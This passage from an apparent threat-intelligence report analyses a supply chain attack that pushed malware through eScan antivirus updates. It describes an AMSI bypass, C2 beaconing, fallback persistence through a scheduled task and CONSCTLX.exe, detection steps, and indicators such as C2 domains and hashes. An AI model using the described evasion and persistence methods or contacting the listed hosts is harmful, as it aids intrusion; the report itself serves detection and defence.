The second deployed payload is entirely PowerShell-based. When started, it performs an AMSI bypass and conducts the same validation procedures as the victim validation payload. It further sends a GET request to the C2 infrastructure, using the same URLs as the validation payload. In this request, the cookie value named “s” contains RC4-encrypted and Base64-encoded system information, such as the victim ID, user name and current process name. In response to this request, the C2 server may optionally send the victim a PowerShell script, to be launched by the victim machine.

A rarely observed attack vector

Notably, it is quite unique to see malware being deployed through a security solution update. Supply chain attacks are a rare occurrence in general, let alone ones orchestrated through antivirus products. Based on the analysis of the identified implants, we can conclude that this attack was prepared thoroughly, as to orchestrate it, attackers had to:

• Get access to the security solution update server.
• Study the internals of the eScan product to learn how its update mechanism works, as well as how to potentially tamper with this product.
• Develop unique implants, tailored to the supply chain attack.

An interesting fact about the implants deployed is that they implement fallback methods of performing malicious operations. For example, if the scheduled task that launches the PowerShell payload is deleted, it will still be launched by the CONSCTLX.exe file. In addition, if the C2 servers used by the PowerShell payload are identified and blocked, attackers will be still able to deploy shellcodes to the infected machine through CONSCTLX.exe.

One lucky thing about this attack is that it was contained in a quite a short period of time. As security solutions have a high level of trust within the operating system, attackers can use a variety of creative ways to orchestrate the infection, for example by using kernel-mode implants. However, in the attack we saw, they relied on user-mode components and commonly observed infection techniques, such as using scheduled tasks for persistence. This factor, in our opinion, made this supply chain attack easy to detect.

How to stay safe?

To detect infection, it is recommended to review scheduled tasks for traces of malware, check the %WinDir%\System32\drivers\etc\hosts file for blocked eScan domains, and review the eScan update logs for January 20.

The developers of eScan have created a utility for their users that removes the malware, rolls back the modifications it has made, and restores the normal functionality of the antivirus. The utility is sent to customers upon request to technical support.

Users of the solution are also advised to block known malware command-and-control server addresses.

Kaspersky’s security solutions, such as Kaspersky Next, successfully detect all malware used by the attackers with its Behavior Detection component.

Indicators of compromise

Network indicators
https://vhs.delrosal[.]net/i
https://tumama.hns[.]to
https://blackice.sol-domain[.]org
https://codegiant.io/dd/dd/dd.git/download/main/middleware[.]ts
https://csc.biologii[.]net/sooc
https://airanks.hns[.]to

Malicious Reload.exe component hashes
1617949c0c9daa2d2a5a80f1028aeb95ce1c0dee
a928bddfaa536c11c28c8d2c5d16e27cbeaf6357
ebaf9715d7f34a77a6e1fd455fe0702274958e20
96cdd8476faa7c6a7d2ad285658d3559855b168d

Malicious CONSCTLX.exe component hash
2d2d58700a40642e189f3f1ccea41337486947f5

Files and folders
C:\ProgramData\esfsbk
C:\ProgramData\euapp.log

Scheduled task name
Microsoft\Windows\Defrag\CorelDefrag

Registry keys
HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E
HKLM\SOFTWARE\WOW6432Node\MicroWorld\eScan for Windows\ODS – value WTBases_new set to 999